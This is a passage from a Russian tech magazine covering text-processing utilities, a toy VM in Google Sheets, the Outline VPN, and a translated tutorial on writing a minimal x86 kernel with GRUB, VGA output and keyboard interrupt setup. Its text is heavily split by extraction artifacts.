Спи сок делит ся на восемь основных час тей: DSV (тек сто вые фай‐ 
лы с раз делите лем типа CSV), XML и HTML, JSON, YAML и TOML, INI,
логи,  кон фигура цион ные  фай лы  и  в  качес тве  бонуса  —  ути литы
для работы с одно фай ловыми базами дан ных.

К  при меру,    —  отличное  средс тво  для  кон верта ции  таб лиц
меж ду раз ными тек сто выми фор матами;   — шту ка для пре обра‐ 
зова ния CSV  (ста тис тика, сор тиров ка, манипу ляция со стол бца ми);
 — ути лита, которая поз воля ет быс тро скор мить файл JSON скрип‐ 

ту  на  JS  (мож но  однос троч нику);    —  пар сер  HTML,  который
работа ет подоб но селек торам CSS.

rows
xsv

fx
tq

И  да,  ты  пра виль но  под метил:  мно гие  из  этих  ути лит  носят  наз‐ 
вания из двух букв. Потому что автор каж дой из них, конеч но же, уве‐ 
рен, что ты будешь поль зовать ся имен но его тво рени ем, при чем так
час то, что нажимать боль ше двух кла виш было бы уто митель но.

GOOGLE SHEETS VM — ВИРТУАЛЬНАЯ МАШИНА ВНУТРИ
ЭЛЕКТРОННОЙ ТАБЛИЦЫ2
Я думаю, тебе хорошо извес тно о воз можнос ти выпол нять скрип ты
в  докумен тах Microsoft  Office  и  Google  Drive.  Но  давай  отвле чем ся
от  зло коз ненных при мене ний и пос мотрим,  как  в  элек трон ных  таб‐ 
лицах Google мож но смас терить прос тей шую вир туаль ную машину,
которая будет исполнять прог раммы.

Ав тор  это го  неболь шого  экспе римен та,  Брай ан  Стеф фенс, 
 в сво ем бло ге и при вел исчерпы вающую инс трук цию.

опуб‐ 
ликовал пост

Пер вым  делом  тебе  понадо бит ся  открыть    и  ско‐ 
пиро вать к себе — ина че скрип ты не зарабо тают. А еще нуж но дож‐ 
дать ся, пока появит ся вклад ка Computer, а затем выс лушать пре дуп‐ 
режде ния Google о том, что рас ширение — не из белого спис ка.

его  документ

WARNING

Google хоть и зануден, но прав: если акка‐ 
унт  тебе  ценен,  луч ше  не  давать  дос туп
кому  попало.  Код  рас ширения  выг лядит
безобид но,  но  нет  никаких  гаран тий,  что
он  не  изме нит ся.  Для  подоб ных  экспе‐ 
римен тов луч ше иметь отдель ную учет ку.

Вир туал ка самая прос тая: она име ет четыре регис тра обще го наз‐ 
начения,  ука затель  на  инс трук цию  и  ука затель  на  стек.  Под держи‐ 
вает ся  12  инс трук ций:  ,  сло жение,  вычита ние,  умно жение,  опе‐ 
рации  со  сте ком,  безус ловный  и  условный  перехо ды,  фун кции,
вывод и оста нов.

mov

Ког да  прог рамма  будет  готова,  выбирай  пункт  Run,  и  уви дишь,
что в ячей ке Output появил ся резуль тат вычис лений. Если захочешь
что‐нибудь  написать  самос тоятель но,  то  для  отладки  при годит ся
пошаго вое  исполне ние  (Step),  а  если  будет  инте рес но,  как  все
это работа ет, откры вай Script editor и смот ри. Скрипт нес ложный —
чуть мень ше 500 строк.

OUTLINE — ЛИЧНЫЙ СЕРВЕР VPN, ПОЛУЧИВШИЙ
ПОДДЕРЖКУ GOOGLE3
VPN  при обре тает  все  боль шую  популяр ность —  он  не  толь ко  поз‐ 
воля ет  обхо дить  реги ональ ные  огра ниче ния,  но  и  повыша ет
безопас ность,  осо бен но  если  выбирать  не  пер вого  попав шегося
про вай дера.  Надеж нее  все го  —  уста новить  VPN  на  свой  сер вер
и ходить в интернет через него. К Google (вер нее, Alphabet) недав но
прим кнул неболь шой стар тап Jigsaw, цель которо го — сде лать этот
про цесс мак сималь но прос тым и дос тупным.

 сос тоит из двух час тей — той, что уста нав лива ется на сер‐ 
вер,  и  кли ента,  который  поз воля ет  управлять  эти ми  сер верами  (и
потому  называ ется  «менед жер»).  При  пер вом  запус ке  менед жер
пред ложит  выбор:  соз дать  новую  учет ную  запись  на  DigitalOcean
и  авто мати чес ки  залить  сер вер  туда  (по  дороге  выда ют  кре дит
в  десять  дол ларов  при  пер вой  при вяз ке  кар ты)  либо  уста новить
на  дру гую  пло щад ку.  Во  вто ром  слу чае  тебе  будет  пре дос тавле на
коман да,  которая  ска чива ет  и  запус кает  инстал ляци онный  скрипт.
По  завер шении  про цес са  ты  получишь  стро ку  с  нас трой ками  —
копируй ее обратно в менед жер.

Outline

Для работы сер вера Outline понадо бит ся Docker. Собс твен но, сер‐ 
верная часть — это кон тей нер с пред варитель но нас тро енным прок‐ 
си  . Скрипт сам ска чает все необ ходимое и под нимет
сер вер.  Или  не  под нимет,  если  ты,  как  и  я,  запамя туешь,  что  твоя
машина работа ет на ARM64 (такие задеше во дают в  ). Соб‐ 
ранные под x86 кон тей неры на нем, конеч но же, не заводят ся.

Shadowsocks

Scaleway

В  общем,  если  с  Outline  у  тебя  тоже  не  сло жит ся,  то  оста ется
еще мас са дру гих вари антов. Нап ример, шту ка под наз вани ем 
при помощи Ansible раз вернет VPN на све жем инстан се без вся ких
кон тей неров.

Algo

Или же можешь пос тавить OpenVPN сво ими руками, не полага ясь
на  авто мати ку.  У  нас,  кста ти,  было    о  том,
как,  добавив  к  нему  stunnel,  мож но  получить  еще  и  защиту  от  глу‐ 
бокой инспек ции пакетов.

ин терес ное руководс тво
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ДАВАЙ НАПИШЕМ

ЯДРО
СОЗДАЕМ   РАБОЧЕЕ ЯДРО

ОПЕРАЦИОННОЙ СИСТЕМЫ
ПРОСТЕЙШЕЕ

Арджун Сридхаран

КОДИНГ

Раз работ ка  ядра  по  пра ву  счи тает ся
задачей не из лег ких, но написать прос тей‐ 
шее ядро может каж дый. Что бы при кос нуть‐ 
ся к магии кер нел‐хакин га, нуж но лишь соб‐ 
люсти  некото рые  условнос ти  и  сов ладать
с ассем бле ром. В этой статье мы на паль‐ 
цах раз берем, как это сде лать.

INFO

Это перевод двух ста тей Арджу на Срид харана:
 и•Kernel 101 — Let’s write a Kernel

.
•Kernel  201  —  Let’s  write  a  Kernel  with  keyboard
and screen support

Пуб лику ется  с  раз решения  авто ра.  Перевел
Андрей Пись мен ный.

При вет, мир!
Да вай  напишем  ядро,  которое  будет  заг ружать ся  через  GRUB  на  сис‐ 

темах,  сов мести мых с  x86. Наше пер вое ядро будет показы вать сооб щение
на экра не и на этом оста нав ливать ся.

КАК ЗАГРУЖАЮТСЯ X86-МАШИНЫ
Преж де чем думать о том, как писать ядро, давай пос мотрим, как компь ютер
заг ружа ется  и  переда ет  управле ние  ядру.  Боль шинс тво  регис тров  про цес‐ 
сора x86 име ют опре делен ные зна чения пос ле заг рузки. Регистр — ука затель
на  инс трук цию  (EIP)  содер жит  адрес  инс трук ции,  которая  будет  исполне на
про цес сором. Его захар дко жен ное зна чение — это 0xFFFFFFF0. То есть x86‐
й  про цес сор  всег да  будет  начинать  исполне ние  с  физичес кого  адре‐ 
са 0xFFFFFFF0. Это пос ледние 16 байт 32‐раз рядно го адресно го прос транс‐ 
тва. Этот адрес называ ется «век тор сбро са» (reset vector).

В  кар те  памяти,  которая  содер жится  в  чип сете,  про писа но,  что
адрес 0xFFFFFFF0 ссы лает ся на опре делен ную часть BIOS, а не на опе ратив‐ 
ную  память.  Одна ко  BIOS  копиру ет  себя  в  опе ратив ку  для  более  быс тро го
дос тупа  —  этот  про цесс  называ ется  «шедо уинг»  (shadowing),  соз дание
теневой копии. Так что адрес 0xFFFFFFF0 будет содер жать толь ко инс трук цию
перехо да к тому мес ту в памяти, куда BIOS ско пиро вала себя.

Итак, BIOS начина ет исполнять ся. Сна чала она ищет устрой ства, с которых
мож но заг ружать ся в том поряд ке, который задан в нас трой ках. Она про веря‐ 
ет носите ли на наличие «вол шебно го чис ла»,  которое отли чает заг рузоч ные
дис ки от обыч ных: если бай ты 511 и 512 в пер вом сек торе рав ны 0xAA55, зна‐ 
чит, диск заг рузоч ный.

Как  толь ко  BIOS  най дет  заг рузоч ное  устрой ство,  она  ско пиру ет  содер‐ 
жимое  пер вого  сек тора  в  опе ратив ную  память,  начиная  с  адре са  0x7C00,
а затем переве дет исполне ние на этот адрес и нач нет исполне ние того кода,
который  толь ко  что  заг рузила.  Вот  этот  код  и  называ ется  заг рузчи ком
(bootloader).

Заг рузчик  заг ружа ет  ядро  по  физичес кому  адре су  0x100000.  Имен но  он
и исполь зует ся боль шинс твом популяр ных ядер для x86.

Все про цес соры, сов мести мые с x86, начина ют свою работу в при митив‐ 
ном  16‐раз рядном  режиме,  которые  называ ют  «реаль ным  режимом»  (real
mode).  Заг рузчик GRUB  перек люча ет  про цес сор  в  32‐раз рядный  защищен‐ 
ный режим (protected mode), перево дя ниж ний бит регис тра CR0 в еди ницу.
Поэто му ядро начина ет заг ружать ся уже в 32‐бит ном защищен ном режиме.

За меть,  что  GRUB  в  слу чае  с  ядра ми  Linux  выбира ет  соот ветс тву ющий
про токол  заг рузки  и  заг ружа ет  ядро  в  реаль ном  режиме.  Ядра  Linux  сами
перек люча ются в защищен ный режим.

ЧТО НАМ ПОНАДОБИТСЯ
Компь ютер, сов мести мый с x86 (оче вид но),•
Linux,•
ас сем блер NASM,•
GCC,•
ld (GNU Linker),•
GRUB.•

WWW

Ты  можешь  най ти  исходный  код  того,  что  у  нас
дол жно  получить ся, 

.
в  репози тории  авто ра

на GitHub

ВХОДНАЯ ТОЧКА НА АССЕМБЛЕРЕ
Нам бы,  конеч но,  хотелось написать  все на C,  но  сов сем избе жать исполь‐ 
зования ассем бле ра не получит ся. Мы напишем на ассем бле ре x86 неболь‐ 
шой файл, который ста нет стар товой точ кой для нашего ядра. Все, что будет
делать  ассем блер ный  код, —  это  вызывать  внеш нюю фун кцию,  которую мы
напишем на C, а потом оста нав ливать выпол нение прог раммы.

Как  сде лать  так,  что бы  ассем блер ный  код  стал  стар товой  точ кой
для нашего ядра? Мы исполь зуем скрипт для ком понов щика (linker), который
лин кует  объ ектные  фай лы  и  соз дает  финаль ный  исполня емый  файл  ядра
(под робнее  объ ясню  чуть  ниже).  В  этом  скрип те  мы  нап рямую  ука жем,  что
хотим, что бы наш бинар ный файл заг ружал ся по адре су 0x100000. Это адрес,
как я уже писал, по которо му заг рузчик ожи дает уви деть вход ную точ ку в ядро.

Вот код на ассем бле ре.

kernel.asm
bits 32
section .text
global start
extern kmain
start:
 cli
 mov esp, stack_space
 call kmain
 hlt

section .bss
resb 8192
stack_space:

Пер вая  инс трук ция    —  это  не  ассем блер  x86,  а  дирек тива  NASM,
сооб щающая,  что  нуж но  генери ровать  код  для  про цес сора,  который  будет
работать в 32‐раз рядном режиме. Для нашего при мера это не обя затель но,
но ука зывать это явно — хорошая прак тика.

bits  32

Вто рая  стро ка  начина ет  тек сто вую  сек цию,  так же  извес тную  как  сек ция
кода. Сюда пой дет весь наш код.

  —  это  еще  одна  дирек тива  NASM,  она  объ явля ет  сим волы
из  нашего  кода  гло баль ными.  Это  поз волит  ком понов щику  най ти  сим вол

, который и слу жит нашей точ кой вхо да.

global

start
 — это фун кция, которая будет опре деле на в нашем фай ле 

.   объ явля ет, что фун кция дек лариро вана где‐то еще.
kmain kernel.

c extern
Да лее идет фун кция  , которая вызыва ет   и оста нав лива ет про‐ 

цес сор инс трук цией  . Пре рыва ния могут будить про цес сор пос ле  , так
что сна чала мы отклю чаем пре рыва ния инс трук цией   (clear interrupts).

start kmain
hlt hlt

cli
В иде але мы дол жны выделить какое‐то количес тво памяти под стек и нап‐ 

равить на нее ука затель сте ка (esp). GRUB, кажет ся, это и так дела ет за нас,
и  на  этот  момент  ука затель  сте ка  уже  задан.  Одна ко  на  вся кий  слу чай
выделим  нем ного  памяти  в  сек ции  BSS  и  нап равим  ука затель  сте ка  на  ее
начало. Мы исполь зуем инс трук цию   — она резер виру ет память, задан‐ 
ную  в  бай тах.  Затем  оставля ется  мет ка,  ука зыва ющая  на  край  зарезер‐ 
вирован ного кус ка памяти. Пря мо перед вызовом   ука затель сте ка (esp)
нап равля ется на эту область инс трук цией  .

resb

kmain
mov

ЯДРО НА C
В  фай ле    мы  выз вали  фун кцию  .  Так  что  в  коде  на  C
исполне ние нач нется с нее.

kernel.asm kmain()

kernel.c
void kmain(void)
{
   const char *str = "my first kernel";
   char *vidptr = (char*)0xb8000;
   unsigned int i = 0;
   unsigned int j = 0;
   while(j < 80 * 25 * 2) {
       vidptr[j] = ' ';
       vidptr[j+1] = 0x07;         
       j = j + 2;
   }
   j = 0;
   while(str[j] != '\0') {
       vidptr[i] = str[j];
       vidptr[i+1] = 0x07;
       ++j;
       i = i + 2;
   }
   return;
}

Все, что будет делать наше ядро, — очи щать экран и выводить стро ку my first
kernel.

Пер вым  делом  мы  соз даем  ука затель  vidptr,  который  ука зыва ет
на адрес 0xb8000. В защищен ном режиме это начало виде опа мяти. Тек сто‐ 
вая  экранная  память  —  это  прос то  часть  адресно го  прос транс тва.
Под  экранный  ввод‐вывод  выделен  учас ток  памяти,  который  начина ется
с адре са 0xb8000, — в него помеща ется 25 строк по 80 сим волов ASCII.

Каж дый  сим вол  в  тек сто вой  памяти  пред став лен  16  битами  (2  бай та),
а  не  8  битами  (1  бай том),  к  которым мы  при вык ли. Пер вый  байт —  это  код
сим вола  в  ASCII,  а  вто рой  байт  —  это  .  Это  опре деле ние
фор мата сим вола, в том чис ле — его цвет.

attribute‐byte

Что бы  вывес ти  сим вол    зеленым  по  чер ному,  нам  нуж но  помес тить 
в пер вый байт виде опа мяти, а зна чение 0x02 — во вто рой байт. 0 здесь озна‐ 
чает чер ный фон, а 2 — зеленый цвет. Мы будем исполь зовать свет ло‐серый
цвет, его код — 0x07.

s s

В пер вом цик ле   прог рамма запол няет пус тыми сим волами с атри‐ 
бутом 0x07 все 25 строк по 80 сим волов. Это очис тит экран.

while

Во  вто ром  цик ле    сим волы  стро ки  my  first  kernel,  окан чива ющей ся
нулевым сим волом, записы вают ся в виде опа мять и каж дый сим вол получа ет
attribute‐byte, рав ный 0x07. Это дол жно при вес ти к выводу стро ки.

while

КОМПОНОВКА
Те перь мы дол жны соб рать kernel.asm в объ ектный файл с помощью NASM,
а затем при помощи GCC ском пилиро вать kernel.c в дру гой объ ектный файл.
Наша  задача  —  слин ковать  эти  объ екты  в  исполня емое  ядро,  при год ное
к  заг рузке.  Для  это го  пот ребу ется  написать  для  ком понов щика  (ld)  скрипт,
который мы будем переда вать в качес тве аргу мен та.

link.ld
OUTPUT_FORMAT(elf32‐i386)
ENTRY(start)
SECTIONS
{
  . = 0x100000;
  .text : { *(.text) }
  .data : { *(.data) }
  .bss  : { *(.bss)  }
}

Здесь  мы  сна чала  зада ем  фор мат  ( )  нашего  исполня емо го
фай ла  как  32‐бит ный  ELF  ( ),  стан дар тный
бинар ный фор мат для Unix‐образных сис тем для архи тек туры x86.

OUTPUT_FORMAT
Executable  and  Linkable  Format

  при нима ет  один  аргу мент.  Он  зада ет  наз вание  сим вола,  который
будет слу жить вход ной точ кой исполня емо го фай ла.

ENTRY

 — это самая важ ная для нас часть. Здесь мы опре деля ем рас‐ 
клад ку нашего исполня емо го фай ла. Мы можем опре делить, как раз ные сек‐ 
ции будут объ еди нены и куда каж дая из них будет помеще на.

SECTIONS

В фигур ных скоб ках,  которые идут  за выраже нием  ,  точ ка озна‐ 
чает счет чик позиции (location counter). Он авто мати чес ки ини циали зиру ется
зна чени ем  0x0  в  начале  бло ка  ,  но  его  мож но  менять,  наз начая
новое зна чение.

SECTIONS

SECTIONS

Ра нее я уже писал, что код ядра дол жен начинать ся по адре су 0x100000.
Имен но поэто му мы и прис ваиваем счет чику позиции зна чение 0x100000.

Взгля ни  на  стро ку  .  Звез дочкой  здесь  зада ется
мас ка,  под  которую  под ходит  любое  наз вание  фай ла.  Соот ветс твен но,
выраже ние    озна чает  все  вход ные  сек ции    во  всех  вход ных
фай лах.

.text  :  {  *(.text)  }

*(.text) .text

В  резуль тате  ком понов щик  соль ет  все  тек сто вые  сек ции  всех  объ ектных
фай лов в тек сто вую сек цию исполня емо го фай ла и раз местит по адре су, ука‐ 
зан ному в счет чике позиции. Сек ция кода нашего исполня емо го фай ла будет
начинать ся по адре су 0x100000.

Пос ле того как ком понов щик выдаст тек сто вую сек цию, зна чение счет чика
позиции будет 0x100000 плюс раз мер тек сто вой сек ции. Точ но так же сек ции

  и    будут  сли ты  и  помеще ны  по  адре су,  который  задан  счет чиком
позиции.
data bss

GRUB И МУЛЬТИЗАГРУЗКА
Те перь все наши фай лы  готовы  к  сбор ке  ядра. Но пос коль ку мы будем заг‐ 
ружать ядро при помощи  , оста ется еще один шаг.GRUB

Су щес тву ет стан дарт для заг рузки раз ных ядер x86 с помощью бут лоаде‐ 
ра. Это называ ется « ». GRUB будет заг ружать толь‐ 
ко те ядра, которые ей соот ветс тву ют.

спе цифи кация муль тибута

В  соот ветс твии  с  этой  спе цифи каци ей  ядро может  содер жать  заголо вок
(Multiboot header) в пер вых 8 килобай тах. В этом заголов ке дол жно быть про‐ 
писа но три поля:

 — содер жит  «вол шебное»  чис ло 0x1BADB002, по  которо му иден‐ 
тифици рует ся заголо вок;

• magic

 — это поле для нас не важ но, мож но оста вить ноль;• flags

 —  кон троль ная  сум ма,  дол жна  дать  ноль,  если  при бавить  ее
к полям   и  .

• checksum

magic flags

Наш файл kernel.asm теперь будет выг лядеть сле дующим обра зом.

kernel.asm

bits 32
section .text
       ;multiboot spec
       align 4
       dd 0x1BADB002            ;magic
       dd 0x00                  ;flags
       dd ‐ (0x1BADB002 + 0x00) ;checksum
global start
extern kmain
start:
 cli
 mov esp, stack_space
 call kmain
 hlt

section .bss
resb 8192
stack_space:

Инс трук ция dd зада ет двой ное сло во раз мером 4 бай та.

СОБИРАЕМ ЯДРО
Итак, все готово для того, что бы соз дать объ ектный файл из kernel.asm и ker‐
nel.c и слин ковать их с при мене нием нашего скрип та. Пишем в кон соли:

$ nasm ‐f elf32 kernel.asm ‐o kasm.o

По  этой  коман де  ассем блер  соз даст  файл  kasm.o  в  фор мате  ELF‐32  bit.
Теперь нас тал черед GCC:

$ gcc ‐m32 ‐c kernel.c ‐o kc.o

Па раметр    ука зыва ет  на  то,  что  файл  пос ле  ком пиляции  не  нуж но  лин‐ 
ковать. Мы это сде лаем сами:

‐c

$ ld ‐m elf_i386 ‐T link.ld ‐o kernel kasm.o kc.o

Эта  коман да  запус тит  ком понов щик  с  нашим  скрип том  и  сге нери рует
исполня емый файл под наз вани ем  .kernel

WARNING

Ха кин гом  ядра  луч ше  все го  занимать ся  в  вир‐ 
туал ке.  Что бы  запус тить  ядро  в  QEMU  вмес то
GRUB,  исполь зуй  коман ду 

.
qemu‐system‐i386

‐kernel kernel

Продолжение статьи →

https://arjunsreedharan.org/post/82710718100/kernel-101-lets-write-a-kernel
https://arjunsreedharan.org/post/99370248137/kernel-201-lets-write-a-kernel-with-keyboard
https://github.com/arjun024/mkernel
https://elinux.org/Executable_and_Linkable_Format_(ELF)
https://www.gnu.org/software/grub/
https://www.gnu.org/software/grub/manual/multiboot/multiboot.html


ДАВАЙ НАПИШЕМ ЯДРО
СОЗДАЕМ ПРОСТЕЙШЕЕ РАБОЧЕЕ ЯДРО

ОПЕРАЦИОННОЙ СИСТЕМЫ

КОДИНГ  НАЧАЛО СТАТЬИ←

НАСТРАИВАЕМ GRUB И ЗАПУСКАЕМ ЯДРО
GRUB тре бует, что бы наз вание фай ла с ядром сле дова ло кон венции 

. Так что пере име новы ваем файл — я назову свой  .
kernel‐

<версия> kernel‐701
Те перь  кла дем  ядро  в  каталог  .  На  это  понадо бят ся  при виле гии

супер поль зовате ля.
/boot

В  кон фигура цион ный  файл  GRUB  grub.cfg  нуж но  будет  добавить  что‐то
в таком роде:

title myKernel
   root (hd0,0)
   kernel /boot/kernel‐701 ro

Не забудь убрать дирек тиву hiddenmenu, если она про писа на.

GRUB 2
Что бы запус тить соз данное нами ядро в GRUB 2, который по умол чанию пос‐ 
тавля ется в новых дис три бути вах, твой кон фиг дол жен выг лядеть сле дующим
обра зом:

menuentry 'kernel 701' {
    set root='hd0,msdos1'
    multiboot /boot/kernel‐701 ro
}

Бла года рю   за это допол нение.Ру бена Лагу ану

Пе резаг ружай  компь ютер, и  ты дол жен будешь  уви деть свое ядро в спис ке!
А выб рав его, ты уви дишь ту самую стро ку.

Это и есть твое ядро!

WWW

•wiki.osdev.org
•osdever.net
•Multiboot spec

ПИШЕМ ЯДРО С ПОДДЕРЖКОЙ КЛАВИАТУРЫ И ЭКРАНА
Мы  закон чили  работу  над  минималь ным  ядром,  которое  заг ружа ется  через
GRUB, работа ет в защищен ном режиме и выводит на экран одну стро ку. Нас‐ 
тала  пора  рас ширить  его  и  добавить  драй вер  кла виату ры,  который  будет
читать сим волы с кла виату ры и выводить их на экран.

WWW

Пол ный исходный код ты можешь най ти 
.

в репози‐ 
тории авто ра на GitHub

Мы  будем  общать ся  с  устрой ства ми  вво да‐вывода  через  пор ты  вво‐ 
да‐вывода. По сути, они прос то адре са на шине вво да‐вывода. Для опе раций
чте ния и записи в них сущес тву ют спе циаль ные про цес сорные инс трук ции.

РАБОТА С ПОРТАМИ: ЧТЕНИЕ И ВЫВОД
read_port:
   mov edx, [esp + 4]
   in al, dx   
   ret
write_port:
   mov   edx, [esp + 4]    
   mov   al, [esp + 4 + 4]  
   out   dx, al  
   ret

Дос туп  к  пор там  вво да‐вывода  осу щест вля ется  при  помощи  инс трук ций 
и  , вхо дящих в набор x86.

in
out
В    номер  пор та  переда ется  в  качес тве  аргу мен та.  Ког да  ком‐ 

пилятор вызыва ет фун кцию, он кла дет все аргу мен ты в стек. Аргу мент копиру‐ 
ется  в  регистр    при  помощи  ука зате ля  на  стек.  Регистр    —  это  ниж‐ 
ние 16 бит регис тра  . Инс трук ция    здесь чита ет порт, номер которо го
задан в  , и кла дет резуль тат в  . Регистр   — это ниж ние 8 бит регис тра

.  Воз можно,  ты  пом нишь  из  инсти тут ско го  кур са,  что  зна чения,  воз вра‐ 
щаемые фун кци ями, переда ются через регистр  . Таким обра зом, 

 поз воля ет нам читать из пор тов вво да‐вывода.

read_port

edx dx
edx in

dx al al
eax

eax read_‐
port

Фун кция   работа ет схо жим обра зом. Мы при нима ем два аргу‐ 
мен та:  номер  пор та  и  дан ные,  которые  будут  записа ны.  Инс трук ция 
пишет дан ные в порт.

write_port
out

ПРЕРЫВАНИЯ
Те перь, преж де чем мы вер немся к написа нию драй вера, нам нуж но понять,
как про цес сор узна ет, что какое‐то из устрой ств выпол нило опе рацию.

Са мое  прос тое  решение  —  это  опра шивать  устрой ства  —  неп рерыв но
по  кру гу  про верять  их  ста тус.  Это  по  оче вид ным  при чинам  неэф фектив но
и  неп рактич но.  Поэто му  здесь  в  игру  всту пают  пре рыва ния.  Пре рыва ние —
это сиг нал, посыла емый про цес сору устрой ством или прог раммой,  который
озна чает,  что про изош ло событие. Исполь зуя пре рыва ния, мы можем избе‐ 
жать  необ ходимос ти  опра шивать  устрой ства  и  будем  реаги ровать  толь ко
на инте ресу ющие нас события.

За  пре рыва ния  в  архи тек туре  x86  отве чает  чип  под  наз вани ем  Pro‐
grammable  Interrupt  Controller  (PIC).  Он  обра баты вает  хар двер ные  пре рыва‐ 
ния и нап равля ет и прев раща ет их  в  соот ветс тву ющие сис темные пре рыва‐ 
ния.

Ког да  поль зователь  что‐то  дела ет  с  устрой ством,  чипу  PIC  отправ ляет ся
импульс,  называ емый  зап росом  на  пре рыва ние  (Interrupt  Request,  IRQ).  PIC
перево дит  получен ное  пре рыва ние  в  сис темное  пре рыва ние  и  отправ ляет
про цес сору сооб щение о том, что пора оста новить то, что он дела ет. Даль‐ 
нейшая обра бот ка пре рыва ний — это задача ядра.

Без  PIC  нам  бы  приш лось  опра шивать  все  устрой ства,  при сутс тву ющие
в сис теме, что бы пос мотреть, не про изош ло ли событие с учас тием какого‐то
из них.

Да вай  раз берем,  как  это  работа ет  в  слу чае  с  кла виату рой.  Кла виату ра
висит на пор тах 0x60 и 0x64. Порт 0x60 отда ет дан ные (ког да нажата какая‐то
кноп ка), а порт 0x64 переда ет ста тус. Одна ко нам нуж но знать, ког да кон крет‐ 
но читать эти пор ты.

Пре рыва ния  здесь  при ходят ся  как  нель зя  более  кста ти.  Ког да  кноп ка
нажата,  кла виату ра  отправ ляет  PIC  сиг нал  по  линии  пре рыва ний  IRQ1.  PIС
хра нит  зна чение  ,  сох ранен ное  во  вре мя  его  ини циали зации.  Он
добав ляет номер вход ной линии к это му отсту пу, что бы сфор мировать век тор
пре рыва ния. Затем про цес сор ищет струк туру дан ных, называ емую «таб лица
век торов пре рыва ний» (Interrupt Descriptor Table,  IDT), что бы дать фун кции —
обра бот чику пре рыва ния адрес, соот ветс тву ющий его номеру.

offset

За тем код по это му адре су исполня ется и обра баты вает пре рыва ние.

ЗАДАЕМ IDT
struct IDT_entry{
   unsigned short int offset_lowerbits;
   unsigned short int selector;
   unsigned char zero;
   unsigned char type_attr;
   unsigned short int offset_higherbits;
};
struct IDT_entry IDT[IDT_SIZE];
void idt_init(void)
{
   unsigned long keyboard_address;
   unsigned long idt_address;
   unsigned long idt_ptr[2];
   keyboard_address = (unsigned long)keyboard_handler; 
   IDT[0x21].offset_lowerbits = keyboard_address & 0xffff;
   IDT[0x21].selector = 0x08; /* KERNEL_CODE_SEGMENT_OFFSET */
   IDT[0x21].zero = 0;
   IDT[0x21].type_attr = 0x8e; /* INTERRUPT_GATE */
   IDT[0x21].offset_higherbits = (keyboard_address & 0xffff0000) >> 
16;
   write_port(0x20 , 0x11);
   write_port(0xA0 , 0x11);
   write_port(0x21 , 0x20);
   write_port(0xA1 , 0x28);
   write_port(0x21 , 0x00);  
   write_port(0xA1 , 0x00);  
   write_port(0x21 , 0x01);
   write_port(0xA1 , 0x01);
   write_port(0x21 , 0xff);
   write_port(0xA1 , 0xff);
   idt_address = (unsigned long)IDT ;
   idt_ptr[0] = (sizeof (struct IDT_entry) * IDT_SIZE) + ((idt_ad
dress & 0xffff) << 16);
   idt_ptr[1] = idt_address >> 16 ;
   load_idt(idt_ptr);
}

IDT — это мас сив, объ еди няющий струк туры IDT_entry. Мы еще обсу дим при‐ 
вяз ку  кла виатур ного  пре рыва ния  к  обра бот чику,  а  сей час  пос мотрим,
как работа ет PIC.

Сов ремен ные сис темы x86 име ют два чипа PIC, у каж дого восемь вход ных
линий.  Будем  называть  их  PIC1  и  PIC2.  PIC1  получа ет  от  IRQ0  до  IRQ7,
а  PIC2  —  от  IRQ8  до  IRQ15.  PIC1  исполь зует  порт  0x20  для  команд
и 0x21 для дан ных, а PIC2 — порт 0xA0 для команд и 0xA1 для дан ных.

Оба PIC ини циали зиру ются вось мибит ными сло вами, которые называ ются
«коман дные сло ва ини циали зации» (Initialization command words, ICW).

В  защищен ном  режиме  обо им  PIC  пер вым  делом  нуж но  отдать  коман ду
ини циали зации  ICW1  (0x11).  Она  сооб щает  PIC,  что  нуж но  ждать  еще  трех
ини циали заци онных слов, которые при дут на порт дан ных.

Эти коман ды переда дут PIC:
век тор отсту па (ICW2),•
ка кие меж ду PIC отно шения master/slave (ICW3),•
до пол нитель ную информа цию об окру жении (ICW4).•

Вто рая коман да ини циали зации (ICW2) тоже шлет ся на вход каж дого PIC. Она
наз нача ет  , то есть зна чение, к которо му мы добав ляем номер линии,
что бы получить номер пре рыва ния.
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PIC  раз реша ют  кас кадное  перенап равле ние  их  выводов  на  вво ды  друг
дру га. Это дела ется при помощи ICW3, и каж дый бит пред став ляет кас кадный
ста тус  для  соот ветс тву юще го  IRQ.  Сей час  мы  не  будем  исполь зовать  кас‐ 
кадное перенап равле ние и выс тавим нули.

ICW4  зада ет  допол нитель ные  парамет ры  окру жения.  Нам  нуж но  опре‐ 
делить толь ко ниж ний бит, что бы PIC зна ли, что мы работа ем в режиме 80x86.

Та‐дам! Теперь PIC про ини циали зиро ваны.
У  каж дого  PIC  есть  внут ренний  вось мибит ный  регистр,  который  называ‐ 

ется «регистр масок пре рыва ний» (Interrupt Mask Register, IMR). В нем хра нит‐ 
ся  битовая  кар та  линий  IRQ,  которые  идут  в  PIC.  Если  бит  задан,  PIC  игно‐ 
риру ет  зап рос.  Это  зна чит,  что  мы  можем  вклю чить  или  вык лючить  опре‐ 
делен ную линию IRQ, выс тавив соот ветс тву ющее зна чение в 0 или 1.

Чте ние из пор та дан ных воз вра щает зна чение в регис тре IMR, а запись —
меня ет регистр. В нашем коде пос ле ини циали зации PIC мы выс тавля ем все
биты  в  еди ницу,  чем  деак тивиру ем  все  линии  IRQ.  Поз днее  мы  акти виру ем
линии, которые соот ветс тву ют кла виатур ным пре рыва ниям. Но для начала все
же вык лючим!

Ес ли линии IRQ работа ют, наши PIC могут получать сиг налы по IRQ и пре‐ 
обра зовы вать их в номер пре рыва ния, добав ляя офсет. Нам же нуж но запол‐ 
нить IDT таким обра зом, что бы номер пре рыва ния, при шед шего с кла виату ры,
соот ветс тво вал адре су фун кции‐обра бот чика, которую мы напишем.

На  какой  номер  пре рыва ния  нам  нуж но  завязать  в  IDT  обра бот чик  кла‐ 
виату ры?

Кла виату ра исполь зует IRQ1. Это вход ная линия 1, ее обра баты вает PIC1.
Мы про ини циали зиро вали PIC1  с  офсе том 0x20  (см.  ICW2).  Что бы  получить
номер  пре рыва ния,  нуж но  сло жить  1  и  0x20,  получит ся  0x21.  Зна чит,  адрес
обра бот чика кла виату ры будет завязан в IDT на пре рыва ние 0x21.

За дача  сво дит ся  к  тому,  что бы  запол нить  IDT  для  пре рыва ния  0x21.  Мы
замапим это пре рыва ние на фун кцию  ,  которую напишем
в ассем блер ном фай ле.

keyboard_handler

Каж дая запись в  IDT сос тоит из 64 бит. В записи, соот ветс тву ющей пре‐ 
рыва нию,  мы  не  сох раня ем  адрес  фун кции‐обра бот чика  целиком.  Вмес то
это го мы раз бива ем его  на две  час ти  по 16 бит. Ниж ние биты  сох раня ются
в  пер вых  16  битах  записи  в  IDT,  а  стар шие  16  бит —  в  пос ледних  16  битах
